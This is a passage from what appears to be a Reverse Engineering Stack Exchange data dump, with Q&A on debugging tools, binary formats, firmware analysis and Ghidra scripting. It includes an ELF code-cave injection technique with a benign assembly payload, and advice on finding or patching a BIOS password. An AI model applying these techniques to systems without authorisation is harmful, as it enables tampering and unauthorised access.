path to the user mode executable that you wish to record or select Browse to navigate to the executable.</li>\n<li>Check the Record process with Time Travel Debugging box to record a trace when the executable is launched.</li>\n</ol>\n<p>You can set breakpoints, create timelines of exceptions/breakpoints/memory access, trace instructions forwards/backwards, and inspect memory/registry/disassembly at any point in execution.</p>\n<p>If you copied the files out of WindowsApps folder you can also run it via command line in different ways. The ttd.exe is used in amd64\\ttd and x86\\ttd folders.</p>\n<p>The following command line options are available.</p>\n<pre><code>Usage: ttd  [options] [mode] [PID | program [&lt;arguments&gt;] | &lt;package&gt; &lt;app&gt;]]\n\nOptions:\n -?                Display this help.\n -help             Display this help.\n -ring             Trace to a ring buffer.\n -ringMode &lt;mode&gt;  Specify how to record a ring trace. Possible modes:\n                   file - The ring will be in a file on disk.\n                       This is the default.\n                   mappedFile - The ring will be in a file, but the entire\n                       file will be fully mapped in memory. This reduces the\n                       I/O overhead, but the entire file is mapped in\n                       contiguous address space, which may add significant\n                       memory pressure to 32-bit processes.\n -maxFile &lt;size&gt;   Maximum size of the trace file in MB.  When in full trace\n                   mode the default is 1024GB and the minimum value is 1MB.\n                   When in ring buffer mode the default is 2048MB, the minimum\n                   value is 1MB, and the maximum value is 32768MB.\n                   The default for in-memory ring on 32-bit processes is 256MB.\n -out &lt;file&gt;       Specify a trace file name or a directory.  If a file, the\n                   tracer will replace the first instance of '%' with a\n                   version number.  By default the executable's base name with\n                   a version number is used to prefix the trace file name.\n -children         Trace through family of child processes.\n\nModes:\n -plm              To specify a PLM app/package for tracing from launch or to\n                   launch that app. These PLM apps can only be setup for \n                   tracing if specifying the plm option. See -launch\n                   for the parameters required. \n                   The default name for a single app package is 'app' and \n                   must be included. \n -launch           Launch and trace the program (default).\n                   This is the only mode that uses the program arguments.\n                   For -plm apps it must be specified, and you must include\n                   the package and the app (-launch &lt;package&gt; &lt;app&gt;).\n                   Note: This must be the last option in the command-line,\n                   followed by the program + arguments or the package + app\n -attach &lt;PID&gt;     Attach to a running process specified by process ID.\n\nControl:\n -stop             Stop tracing the process specified (name, PID or &quot;all&quot;).\n</code></pre>\n<p>Some walkthroughs of what can be achieved with TTD are here:</p>\n<p><a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-walkthrough\" rel=\"nofollow noreferrer\">Time Travel Debugging - Sample App Walkthrough</a></p>\n<p><a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-object-model\" rel=\"nofollow noreferrer\">Introduction to Time Travel Debugging Object Model</a></p>\n<p><a href=\"https://chentiangemalc.wordpress.com/2020/04/25/identifying-position-of-user-interactions-within-a-windbg-time-travel-trace/\" rel=\"nofollow noreferrer\">Identifying Position of User Interactions within a WinDbg Time Travel Trace</a></p>\n<p>If using Visual Studio you can also use <a href=\"https://docs.microsoft.com/en-us/visualstudio/debugger/intellitrace\" rel=\"nofollow noreferrer\">IntelliTrace feature</a> to record a debugging trace.</p>\n"
    },
    {
        "Id": "26337",
        "CreationDate": "2020-11-18T02:27:08.503",
        "Body": "<p>I'm reading <a href=\"https://insinuator.net/2020/11/forklift-lpe/\" rel=\"nofollow noreferrer\">this article</a>, and it says:</p>\n<pre><code>The following functions are exposed over XPC to the caller:\n\n@protocol _TtP4main21ForkLiftHelperProtcol_\n- (void)changePermissions:(NSString *)arg1 permissions:(long long)arg2 reply:(void (^)(NSError *))arg3;\n- (void)changeOwner:(NSString *)arg1 owner:(long long)arg2 group:(long long)arg3 reply:(void (^)(NSError *))arg4;\n...\n</code></pre>\n<p>How can one dump all the protocols and its methods?</p>\n",
        "Title": "Dumping available XPC interface and methods",
        "Tags": "|ios|",
        "Answer": "<p>Found it: <a href=\"https://github.com/nygard/class-dump\" rel=\"nofollow noreferrer\">https://github.com/nygard/class-dump</a></p>\n<blockquote>\n<p>class-dump is a command-line utility for examining the Objective-C\nsegment of Mach-O files. It generates declarations for the classes,\ncategories and protocols. This is the same information provided by\nusing 'otool -ov', but presented as normal Objective-C declarations</p>\n</blockquote>\n<p>It works for PrivilegedHelperTools mostly, but not for normal applications.</p>\n"
    },
    {
        "Id": "26358",
        "CreationDate": "2020-11-24T13:15:46.463",
        "Body": "<p>I rarely run Windows, but have some Windows software I'd like to take a look at. This doesn't require a security &quot;dongle&quot;, but won't start without the presence of a particular USB-connected peripheral about which virtually nothing is known.</p>\n<p>The software I have is Brother PE-Design Plus, which prepares .pes files for their embroidery machines. The hardware is described as &quot;04f9:2100 Brother Industries, Ltd Card Reader Writer&quot;.</p>\n<p>This is not at all &quot;mission critical&quot; for me since the machine I'm looking at can be configured using a USB &quot;thumb drive&quot;, but older machines /have/ to be programmed via one of these writers.</p>\n<p>The writers are scarce and expensive. Older variants for the same type of card were connected to a serial port, but the software I have appears to be USB-specific. The card has a chip under an epoxy blob, which is suspected to be a 512Kbyte Flash device.</p>\n<p>After installation, the Brother software includes a file CardIO.dll, which encodes the correct USB vid:pid numbers and has what looks like card-related debugging messages and mangled C++ entry point names including ?ChkCardWriterConnected@CCardIO@@QAE?AW4CIOError@@HPAEPAH@Z</p>\n<p>There is nothing in that file which indicates what type of device is expected (i.e. USB serial vs HID etc.) but my knowledge of the inside of Windows drivers is limited.</p>\n<p>I was thinking that I might be able to program a Teensy (I think I've got a 3.5) to emulate the various USB device types and see if I could at least work out what sort of device type the Brother software was expecting. Otherwise I'm aware of e.g. <a href=\"https://hackaday.com/2019/07/02/hands-on-greatfet-is-an-embedded-tool-that-does-it-all/\" rel=\"nofollow noreferrer\">https://hackaday.com/2019/07/02/hands-on-greatfet-is-an-embedded-tool-that-does-it-all/</a> and the Facedancer project, however I think that most things like this are more oriented to analysing available hardware rather than something unseen.</p>\n<p>Wireshark on Windows shows nothing. I've not yet tried setting up Windows under Qemu (etc.) and seeing whether I can track anything at the hardware level, but I suspect that detection is based on a hotplug event which tells Windows that it is to respond positively to a presence query.</p>\n<p>Any thoughts would be appreciated.</p>\n<p>A few days later: It looks as though having any USB device with the correct vid:pid doublet is sufficient to get the Brother card reader driver loaded, but not to get the app running (and nothing useful shows up in Wireshark). I've been using a Teensy 3.5 set up as a rawhid device, I'm not sure whether the type of device matters since I suspect I'm up against OS caching issues which muddy the water.</p>\n",
        "Title": "Unknown (and unowned) USB device",
        "Tags": "|usb|",
        "Answer": "<p>My first approach would be, to collect traces from working system:</p>\n<p><a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/usbcon/usb-event-tracing-for-windows\" rel=\"nofollow noreferrer\">USB Event Tracing for Windows</a></p>\n<p>If from this information cannot work out what is going on a software protocol analyzer, such as these:</p>\n<p><a href=\"http://USBTrace%20:%20USB%20Protocol%20Analyzer%20Software%20for%20Windows\" rel=\"nofollow noreferrer\">http://www.sysnucleus.com/</a></p>\n<p><a href=\"https://www.usblyzer.com/\" rel=\"nofollow noreferrer\">https://www.usblyzer.com/</a></p>\n<p><a href=\"https://wiki.wireshark.org/CaptureSetup/USB\" rel=\"nofollow noreferrer\">https://wiki.wireshark.org/CaptureSetup/USB</a></p>\n<p>Sometimes I have had different results with a different tool so it can be worth trying different software protocol analyzers for your scenario. If this is not sufficient, in some cases it is necessary to finally resort to a hardware USB protocol analyzer. These can sit between the USB port and the device and capture everything without relying on software within the PC, helpful if the driver is explicitly trying to block/bypass software protocol analyzer.</p>\n<p>I'm not familiar with this particular device but in some cases the detection is more complicated then simply detected particular type of device connected, in some case the USB device may contain information that the application would not be able to run unless that data was available.</p>\n<p>Depending on your requirements sometimes a solution such as <a href=\"https://www.donglify.net/\" rel=\"nofollow noreferrer\">donglify</a> which allows sharing USB dongles over a network can help meet needs.</p>\n<p>For complex scenarios a complete dongle emulation is required. You may find examples of other work in this area searching internet for information on copying / emulating USB dongles, however there is not one generic solution for this.</p>\n<p>If the actual working device is not available then I would use a combination of the following tools to analyze the program that is not launching without the hardware:</p>\n<p><a href=\"https://docs.microsoft.com/en-us/sysinternals/downloads/procmon\" rel=\"nofollow noreferrer\">Process Monitor</a> With this tool easy to observe if application is looking for specific files or registry keys.\n<a href=\"http://www.rohitab.com/apimonitor\" rel=\"nofollow noreferrer\">API Monitor</a> Can analyze the app at the Windows API level. For example simply monitoring the C++ Runtime &quot;Strings&quot; operations may determine what it is looking for exactly.</p>\n<p><a href=\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/time-travel-debugging-record\" rel=\"nofollow noreferrer\">WinDbg Time Travel Debugging</a></p>\n<p>Reverse engineering software such as <a href=\"https://www.hex-rays.com/products/ida/\" rel=\"nofollow noreferrer\">IDA Pro</a> / <a href=\"https://ghidra-sre.org/\" rel=\"nofollow noreferrer\">Ghidra</a></p>\n"
    },
    {
        "Id": "26359",
        "CreationDate": "2020-11-24T15:14:44.347",
        "Body": "<p>Is it safe to assume that, in the general case, the name of the section containing the user code (not the compiler generated code) is <code>.text</code>? I spot-checked several ARM, x86 and MIPS binaries (PE and ELF) and it seems to be the case.</p>\n<p>I suppose the compiler/linker can be configured to chose a different name. In which cases would one want to change it? Are there known examples (CPU arch, compiler, etc.) where there is no <code>.text</code> section? What are other frequently used names? Can user code be put in other sections than the <code>.text</code> section?</p>\n<p>Or is the name <code>.text</code> required to be a valid PE / ELF and thus always chosen? The <a href=\"https://refspecs.linuxbase.org/elf/elf.pdf\" rel=\"nofollow noreferrer\">ELF specification</a> for example mentions the name <code>.text</code> several times, so does the <a href=\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format\" rel=\"nofollow noreferrer\">PE specification</a>.</p>\n",
        "Title": "Name other than \".text\" for the main code section",
        "Tags": "|pe|elf|binary-format|compilers|",
        "Answer": "<p>The section name can be anything, the OS loader only uses section flags to set up permissions when mapping the file into memory. For example, Delphi compiler uses CODE, and various packers use custom names (UPX00 etc.) or even garbage.</p>\n<p>AFAIK the only section name that is somewhat enforced is <code>.rsrc</code> - I think Explorer may not show the file icon if resources section is renamed.</p>\n"
    },
    {
        "Id": "26386",
        "CreationDate": "2020-11-28T12:04:37.420",
        "Body": "<p>I am currently working on an ELF-injector and my approach is standard: find code cave (long enough sequence of 0's), rewrite it with the instructions I want to execute and then jump back to the start of the original program to execute it as it normally would.</p>\n<p>To actually execute code in the code cave I tried two different approaches, both of which result in sigsegv.</p>\n<p>First one was changing entry point to the start of the code cave. The second one was &quot;stealing&quot; some of the first instructions from the original code and write jump to my code cave there and then after executing my injected code I would first execute stolen instructions and then jump to the instruction after the last stolen one in the original program.</p>\n<p>I am also changing the access flags for the section, in which code cave resides.</p>\n<p>Here are some screenshots of debugging the program in gdb:</p>\n<p><a href=\"https://i.stack.imgur.com/IHC5I.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IHC5I.png\" alt=\"Instructions at entry point - 0x555555556156 is the address of code cave\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/wpJzp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wpJzp.png\" alt=\"Instructions in the code cave - executing stolen ones and jumping back\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/KikfO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KikfO.png\" alt=\"Executing the code\" /></a></p>\n<p>And here are the flags for the section the code cave is in:</p>\n<p><code>[19]     0x555555556058-&gt;0x555555556160 at 0x00002058: .eh_frame ALLOC LOAD READONLY CODE HAS_CONTENTS</code></p>\n<p>This is the Valgrind output.</p>\n<p><a href=\"https://i.stack.imgur.com/I6P0g.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/I6P0g.png\" alt=\"enter image description here\" /></a></p>\n<p>So is there a way to actually allow the execution of code in this section.</p>\n<p>I also thought about adding new section to the binary and writing my code there. If someone had experience in doing so, I would appreciate the info.</p>\n<p><strong>EDIT:</strong> I think I know what my mistake is - I set the executable flag for the section, but the segment it's in isn't executable. But it also seems like the code cave I found doesn't belong to any section, since the start of the code cave is actually the end of one section and the end of the code cave is the start of another section. And there are no other sections in between.</p>\n<p><strong>EDIT 2:</strong> I changed the code cave to the one, that is in <code>.fini</code> section, which belongs to executable segment. However I am still confused about the empty space between sections (and segments).</p>\n<p>Here are the screenshots of the <code>readelf</code> output</p>\n<pre><code>Section Headers:\n  [Nr] Name              Type             Address           Offset\n       Size              EntSize          Flags  Link  Info  Align\n  [ 0]                   NULL             0000000000000000  00000000\n       0000000000000000  0000000000000000           0     0     0\n  [ 1] .interp           PROGBITS         0000000000000318  00000318\n       000000000000001c  0000000000000000   A       0     0     1\n  [ 2] .note.gnu.propert NOTE             0000000000000338  00000338\n       0000000000000020  0000000000000000   A       0     0     8\n  [ 3] .note.gnu.build-i NOTE             0000000000000358  00000358\n       0000000000000024  0000000000000000   A       0     0     4\n  [ 4] .note.ABI-tag     NOTE             000000000000037c  0000037c\n       0000000000000020  0000000000000000   A       0     0     4\n  [ 5] .gnu.hash         GNU_HASH         00000000000003a0  000003a0\n       0000000000000024  0000000000000000   A       6     0     8\n  [ 6] .dynsym           DYNSYM           00000000000003c8  000003c8\n       00000000000000a8  0000000000000018   A       7     1     8\n  [ 7] .dynstr           STRTAB           0000000000000470  00000470\n       0000000000000082  0000000000000000   A       0     0     1\n  [ 8] .gnu.version      VERSYM           00000000000004f2  000004f2\n       000000000000000e  0000000000000002   A       6     0     2\n  [ 9] .gnu.version_r    VERNEED          0000000000000500  00000500\n       0000000000000020  0000000000000000   A       7     1     8\n  [10] .rela.dyn         RELA             0000000000000520  00000520\n       00000000000000c0  0000000000000018   A       6     0     8\n  [11] .rela.plt         RELA             00000000000005e0  000005e0\n       0000000000000018  0000000000000018  AI       6    24     8\n  [12] .init             PROGBITS         0000000000001000  00001000\n       000000000000001b  0000000000000000  AX       0     0     4\n  [13] .plt              PROGBITS         0000000000001020  00001020\n       0000000000000020  0000000000000010  AX       0     0     16\n  [14] .plt.got          PROGBITS         0000000000001040  00001040\n       0000000000000010  0000000000000010  AX       0     0     16\n  [15] .plt.sec          PROGBITS         0000000000001050  00001050\n       0000000000000010  0000000000000010  AX       0     0     16\n  [16] .text             PROGBITS         0000000000001060  00001060\n       0000000000000185  0000000000000000  AX       0     0     16\n  [17] .fini             PROGBITS         00000000000011e8  000011e8\n       000000000000000d  0000000000000000  AX       0     0     4\n  [18] .rodata           PROGBITS         0000000000002000  00002000\n       0000000000000012  0000000000000000   A       0     0     4\n  [19] .eh_frame_hdr     PROGBITS         0000000000002014  00002014\n       0000000000000044  0000000000000000   A       0     0     4\n  [20] .eh_frame         PROGBITS         0000000000002058  00002058\n       0000000000000108  0000000000000000   A       0     0     8\n  [21] .init_array       INIT_ARRAY       0000000000003db8  00002db8\n       0000000000000008  0000000000000008  WA       0     0     8\n  [22] .fini_array       FINI_ARRAY       0000000000003dc0  00002dc0\n       0000000000000008  0000000000000008  WA       0     0     8\n  [23] .dynamic          DYNAMIC          0000000000003dc8  00002dc8\n       00000000000001f0  0000000000000010  WA       7     0     8\n  [24] .got              PROGBITS         0000000000003fb8  00002fb8\n       0000000000000048  0000000000000008  WA       0     0     8\n  [25] .data             PROGBITS         0000000000004000  00003000\n       0000000000000010  0000000000000000  WA       0     0     8\n  [26] .bss              NOBITS           0000000000004010  00003010\n       0000000000000008  0000000000000000  WA       0     0     1\n  [27] .comment          PROGBITS         0000000000000000  00003010\n       000000000000002a  0000000000000001  MS       0     0     1\n  [28] .symtab           SYMTAB           0000000000000000  00003040\n       0000000000000618  0000000000000018          29    46     8\n  [29] .strtab           STRTAB           0000000000000000  00003658\n       0000000000000202  0000000000000000           0     0     1\n  [30] .shstrtab         STRTAB           0000000000000000  0000385a\n       000000000000011a  0000000000000000           0     0     1\n\n\n</code></pre>\n<pre><code>Program Headers:\n  Type           Offset             VirtAddr           PhysAddr\n                 FileSiz            MemSiz              Flags  Align\n  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040\n                 0x00000000000002d8 0x00000000000002d8  R E    0x8\n  INTERP         0x0000000000000318 0x0000000000000318 0x0000000000000318\n                 0x000000000000001c 0x000000000000001c  R E    0x1\n      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]\n  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000\n                 0x00000000000005f8 0x00000000000005f8  R E    0x1000\n  LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000\n                 0x00000000000001f5 0x00000000000001f5  R E    0x1000\n  LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000\n                 0x0000000000000160 0x0000000000000160  R E    0x1000\n  LOAD           0x0000000000002db8 0x0000000000003db8 0x0000000000003db8\n                 0x0000000000000258 0x0000000000000260  RWE    0x1000\n  DYNAMIC        0x0000000000002dc8 0x0000000000003dc8 0x0000000000003dc8\n                 0x00000000000001f0 0x00000000000001f0  RWE    0x8\n  NOTE           0x0000000000000338 0x0000000000000338 0x0000000000000338\n                 0x0000000000000020 0x0000000000000020  R E    0x8\n  NOTE           0x0000000000000358 0x0000000000000358 0x0000000000000358\n                 0x0000000000000044 0x0000000000000044  R E    0x4\n  GNU_PROPERTY   0x0000000000000338 0x0000000000000338 0x0000000000000338\n                 0x0000000000000020 0x0000000000000020  R E    0x8\n  GNU_EH_FRAME   0x0000000000002014 0x0000000000002014 0x0000000000002014\n                 0x0000000000000044 0x0000000000000044  R E    0x4\n  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000\n                 0x0000000000000000 0x0000000000000000  RWE    0x10\n  GNU_RELRO      0x0000000000002db8 0x0000000000003db8 0x0000000000003db8\n                 0x0000000000000248 0x0000000000000248  R E    0x1\n\n Section to Segment mapping:\n  Segment Sections...\n   00     \n   01     .interp \n   02     .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt \n   03     .init .plt .plt.got .plt.sec .text .fini \n   04     .rodata .eh_frame_hdr .eh_frame \n   05     .init_array .fini_array .dynamic .got .data .bss \n   06     .dynamic \n   07     .note.gnu.property \n   08     .note.gnu.build-id .note.ABI-tag \n   09     .note.gnu.property \n   10     .eh_frame_hdr \n   11     \n   12     .init_array .fini_array .dynamic .got \n\n\n</code></pre>\n<p>As can be seen, section .fini starts at <code>11e8</code> and has the size of <code>d</code>. The next section - .rodata starts at <code>2000</code>. Does that mean that the space between <code>11e8 + d</code> and <code>2000</code> does not belong to any section? That segment also ends at <code>11F5</code>, which is the end of last section belonging to it - <code>.fini</code>.</p>\n<p><strong>EDIT 3:</strong> managed to solve the problem - had to choose the section, that belongs to the executable segment. Still a bit confused about the sizes of sections.</p>\n<p>Actually managed to inject the code into the binary, however, I got the instructions from an assembly, which only has <code>.text</code> section:</p>\n<pre><code>.text\n.globl _start\n_start:\n  #save the base pointer\n  pushq %rbp\n  pushq %rbx\n  mov %rsp,%rbp\n\n  #write syscall = 1\n  movq $1, %rax\n  #print to stdout\n  movq $1, %rdi\n  #9 character long string\n  movq $9, %rdx\n\n  # push &quot;INJECTED\\n&quot; to the stack  \n  movq $0x0a, %rcx\n  pushq %rcx\n  movq $0x44455443454a4e49, %rcx\n  pushq %rcx\n\n  movq %rsp, %rsi\n\n  syscall\n\n  #remove the string\n  pop %rcx\n  pop %rcx\n\n  movq $0, %rax\n  movq $0, %rdi\n  movq $0, %rdx\n\n  \n  pop %rbx\n  pop %rbp\n  ret\n</code></pre>\n<p>It prints &quot;INJECTED&quot; before the original program execution. While this kind of payload works, what are other ideas of implementing better and actually usable injector? Maybe with the possibility of calling <code>libc</code> functions or some other library functions, that are linked by our victim binary? Because it seems like getting actual instruction from the code, we would like to inject, is kind of pain in the ass.</p>\n",
        "Title": "ELF binary injection",
        "Tags": "|linux|c|gdb|elf|injection|",
        "Answer": "<p>When executing ELF files, the OS loader does not care about sections but only segments (aka program headers). You need to ensure your code belongs to an executable segment.</p>\n<blockquote>\n<p>As can be seen, section .fini starts at 11e8 and has the size of d.\nThe next section - .rodata starts at 2000. Does that mean that the\nspace between 11e8 + d and 2000 does not belong to any section? That\nsegment also ends at 11F5, which is the end of last section belonging\nto it - .fini.</p>\n</blockquote>\n<p>Yes, the space between 11F5 and 2000 is a kind of &quot;no man's land&quot;. In theory, the bytes there would not be present in the memory. However, in practice, the memory protections and mappings work on a page granularity (0x1000) so these bytes <em>are</em> mapped into memory and made executable so your patch works. To make everything &quot;legit&quot; it may be better to extend the segment length so it extends up to 2000.</p>\n"
    },
    {
        "Id": "26401",
        "CreationDate": "2020-12-01T12:00:49.803",
        "Body": "<p>I'm trying to decode <code>.PLW</code> data acquired by a temperature logger (<a href=\"https://www.picotech.com/download/manuals/usb-pt104-rtd-data-logger-programmers-guide.pdf\" rel=\"nofollow noreferrer\">PicoLog PT-104</a>).</p>\n<p>If you convert the <code>.PLW</code> file to a <code>.txt</code> file through the official software you get something like this:</p>\n<p><a href=\"https://i.stack.imgur.com/dkwwS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dkwwS.png\" alt=\"enter image description here\" /></a></p>\n<p>where each row has single temperature measurements across the 20 channels available to the device. I would like to extract the data directly from the <code>.PLW</code>, file without having to convert it to <code>.txt</code> first.</p>\n<p>By opening the <code>.PLW</code> file in a hex editor, I have managed to isolate with a bit of tweaking the section which seems to contain the raw data measurements:</p>\n<p><a href=\"https://i.stack.imgur.com/8Bv8J.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8Bv8J.png\" alt=\"hex_dump\" /></a></p>\n<p>The first 4 hexes contain the row index. And should be read in the reversed column order <code>03 02 01 00</code>.</p>\n<p>There are then the 20 groups of 4 columns, one for each channel. Assuming all groups should be read right to left (given that was the case for the index columns), they all seem to begin with <code>0x41</code> which might maybe be some kind of encoding for the tab character (or similar).</p>\n<p>The next hex in each chunk (so the one just before the <code>0x41</code>) seems to be mapping at least to some approximate way the temperature read in that channel:</p>\n<ul>\n<li>Hex -&gt; TEMP</li>\n<li><code>0x50 -&gt; 13</code></li>\n<li><code>0xa0, 0xa1, 0xa2, 0xa3 -&gt; 20</code></li>\n<li><code>0xa4, 0xa5, 0xaa, 0xab -&gt; 21</code></li>\n<li><code>0xac, 0xae, 0xb0 -&gt; 22</code></li>\n</ul>\n<p>And the order of the channels also seems to match the order of the columns in the <code>.txt</code> file: for example channel 8 in the <code>.txt</code> file has an outlier temperature at <code>13</code> --&gt; which is also present in the 8th data column in the <code>.PLW</code> file, where the <em>temperature</em> hex is set to <code>0x50</code></p>\n<p>Would anyone be able to crack the mapping between the hex values in each chunk to the final temperature measurement displayed in the <code>.txt</code> file?</p>\n<p>Or does anyone know of an encoding where <code>0x41</code> would correspond to a tab-like character? Thanks!</p>\n",
        "Title": "Decoding Hex Data",
        "Tags": "|decryption|hex|",
        "Answer": "<p>The data are floating point encoded on 32 bits Little_endian<BR>\nbyte 0 to 3: 00 00 00 00 = 0 channel number<BR>\nbyte 4 to 7: 1f 85 a3 41 = 0x41a3851f = 20.4400005341<BR>\netc ..<BR>\n<a href=\"https://www.h-schmidt.net/FloatConverter/IEEE754.html\" rel=\"nofollow noreferrer\">https://www.h-schmidt.net/FloatConverter/IEEE754.html</a></p>\n"
    },
    {
        "Id": "26414",
        "CreationDate": "2020-12-02T17:37:02.690",
        "Body": "<p>In Ghidra, there is <code>Defined Strings</code> window, that lists all the strings in the binary and their location.</p>\n<p>I want to access the strings from Ghidra Python, and to get all the x-refs to those strings.</p>\n<p>Any ideas on how is it possible to access this string info from Ghidra Python?</p>\n",
        "Title": "Ghidra python - get string x-refs in a binary",
        "Tags": "|ghidra|python|",
        "Answer": "<p>This is one method to do it.</p>\n<pre><code>from ghidra.program.util import DefinedDataIterator\nfrom ghidra.app.util import XReferenceUtil\n\nfor string in DefinedDataIterator.definedStrings(currentProgram):\n  for ref in XReferenceUtil.getXRefList(string):\n    print(string, ref)\n</code></pre>\n<p>There are alternative <a href=\"https://ghidra.re/ghidra_docs/api/ghidra/program/util/DefinedDataIterator.html\" rel=\"nofollow noreferrer\"><code>definedStrings</code></a> iterators and other ways to use <a href=\"https://ghidra.re/ghidra_docs/api/ghidra/app/util/XReferenceUtil.html\" rel=\"nofollow noreferrer\"><code>XReferenceUtil</code></a> in the docs.</p>\n"
    },
    {
        "Id": "26415",
        "CreationDate": "2020-12-02T18:45:09.443",
        "Body": "<p>I have binary file for the LPC2378FBD144 processor ineed to reverse engineer it using IDA V7.3\nim little confused about memory organization values i should put in the memory organization thank you for your help :)\nhere the data sheet for the processor\n<a href=\"https://www.nxp.com/docs/en/data-sheet/LPC2377_78.pdf\" rel=\"nofollow noreferrer\">https://www.nxp.com/docs/en/data-sheet/LPC2377_78.pdf</a></p>\n<p><a href=\"https://i.stack.imgur.com/UcIDT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/UcIDT.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "LPC2378FBD144 Arm7 hex file",
        "Tags": "|decompilation|arm|hexrays|ida-plugin|",
        "Answer": "<p>ARM7 cores use classic architecture with the exception vectors at the start of the binary (usually mapped at 0), so you can start with the defaults, start disassembling and if the addresses look wrong, rebase the image afterwards.</p>\n"
    },
    {
        "Id": "26418",
        "CreationDate": "2020-12-02T19:13:29.380",
        "Body": "<p>I am playing with a dump I made from a serial flash containing the BIOS of a ultra portable whose BIOS is protected by a password. I am trying to find the password or patch the routine which check the password.</p>\n<p>Using <code>binwalk</code> I got the following result. I have search for strings containing 'password' but found nothing... So I think code is inside the mcrypt portion ...</p>\n<p>Do you have idea what I can eventually do now to continue my journey??</p>\n<p><a href=\"https://i.stack.imgur.com/1Uyr7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1Uyr7.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "How to get PI UEFI binary when mcrypt is used?",
        "Tags": "|binwalk|bios|uefi|",
        "Answer": "<p>You should use UEFITool to analyze the dump. The modules themselves are not encrypted and can be extracted and disassembled using any standard tool supporting PE binaries.</p>\n<p>The BIOS password implementation differs from platform to platform. In the easy case it would be somewhere in the NVRAM area on the same SPI flash, possibly obfuscated.</p>\n<p>In the difficult case it could be stored in or checked by a separate chip such as the EC (embedded controller) and you would have to dump and RE it too.</p>\n<p>There was a good talk on cracking the password for Toshiba laptops which was using the latter approach:</p>\n<p><a href=\"https://recon.cx/2018/brussels/resources/slides/RECON-BRX-2018-Hacking-Toshiba-Laptops.pdf\" rel=\"nofollow noreferrer\">https://recon.cx/2018/brussels/resources/slides/RECON-BRX-2018-Hacking-Toshiba-Laptops.pdf</a></p>\n"
    },
    {
        "Id": "26428",
        "CreationDate": "2020-12-03T08:07:39.840",
        "Body": "<p>Recently I work on TMS320C6xx Arch and when I reverse this firmware I saw functions graph nodes are separated. I have shown in below:</p>\n<p><a href=\"https://i.stack.imgur.com/6IrZD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6IrZD.png\" alt=\"all of these nodes belong to one function\" /></a></p>\n<p>As you see, <strong>BRANCH OCCURS</strong> wrote at the end of each node. I guess this is the reason of separation.<br />\n<strong>1- How I can correct this problem?</strong><br />\n<strong>2- what is the problem? Explanation if possible</strong></p>\n<p>Thanks in advance.</p>\n",
        "Title": "BRANCH OCCURS in IDApro",
        "Tags": "|ida|disassembly|firmware|",
        "Answer": "<p>To add to Igor's excellent reply. Unfortunately IDA Pro up until now does not handle TMS320C6 properly. TI DSP common pattern for the calls is to load up call address into 32 bit register and do the register branching (it has direct branching with immediate offsets as well but compiler seems to use it only for local branches within the function). IDA seems to handle only immediate branches and not the register calls. There are a number fo other issues (like IDA not handling ADDKPC properly or not working properly with TI produced COFF files in big endian format). The most important one is that return from a function call is also implemented as branching command which is indistinguishable (in theory) from call to a function and uses register sp IDA Pro analysis of the assembly would generally stoop at the first register branching and declare it end of function after branching point occurs if there are no more subsequent instructions to that.</p>\n<p>I encountered that when I was working on reversing Kodak camera firmware that uses TI DSP and written patch to IDA TMS320C6 CPU module - see here <a href=\"https://github.com/Alexey-Danilchenko/Kodak-DCS-Tools/tree/master/sources/IDA/DSP/processor\" rel=\"nofollow noreferrer\">https://github.com/Alexey-Danilchenko/Kodak-DCS-Tools/tree/master/sources/IDA/DSP/processor</a></p>\n<p>That is not perfect still during CPU analysis stage so that Github archive has plugins as well to perform function call discovery and substitution in MVK/MVKH commands) as well as DP offset substitution.</p>\n"
    },
    {
        "Id": "26452",
        "CreationDate": "2020-12-06T10:40:30.857",
        "Body": "<p>I'm in the process of reverse engineering a USB driver, and I'm having problems finding a way to decode the binary representation of double values. The values don't seem to be encoded in IEEE-754 format.</p>\n<p>Do you have any suggestions on how these values should be decoded? Below, I included a couple of example double values and their corresponding binary representation.</p>\n<p>Thanks for your help!</p>\n<pre><code>1.0: 0000 0000 0000 0000 0000 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 \n2.0: 0000 0000 0000 0000 0000 1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 \n3.0: 0000 0000 0000 0000 0000 1100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 \n4.0: 0000 0000 0000 0000 0001 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 \n5.0: 0000 0000 0000 0000 0001 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 \n\n-1.0: 1111 1111 1111 1111 1111 1100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 \n-2.0: 1111 1111 1111 1111 1111 1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 \n-3.0: 1111 1111 1111 1111 1111 0100 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 \n-4.0: 1111 1111 1111 1111 1111 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 \n-5.0: 1111 1111 1111 1111 1110 